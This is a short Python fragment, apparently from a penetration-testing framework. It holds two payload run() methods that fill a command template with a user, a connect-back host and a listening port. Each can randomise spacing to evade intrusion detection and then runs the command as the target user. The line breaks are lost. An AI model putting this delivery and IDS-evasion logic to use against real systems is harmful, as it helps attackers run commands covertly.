def run(self): global data tmp = data tmp = tmp.replace("%USER%", self.user) if self.host == "": self.host = raw_input("Host to connect: ") if self.port == "": self.port = raw_input("Port to listen: ") tmp = tmp.replace("%HOST%", self.host) tmp = tmp.replace("%PORT%", self.port) if self.covert > 0: # Currently only one IDS evasion technique is used tmp = randomizeSpaces(tmp) objRun = run_command.CPayload() objRun.idsTechniques = self.covert objRun.user = self.user objRun.command = tmp ret = objRun.run() return ret
def run(self): global data tmp = data tmp = tmp.replace("%USER%", self.user) if self.covert > 0: # Currently only one IDS evasion technique is used tmp = randomizeSpaces(tmp) objRun = run_command.CPayload() objRun.idsTechniques = self.covert objRun.user = self.user objRun.command = tmp ret = objRun.run() return ret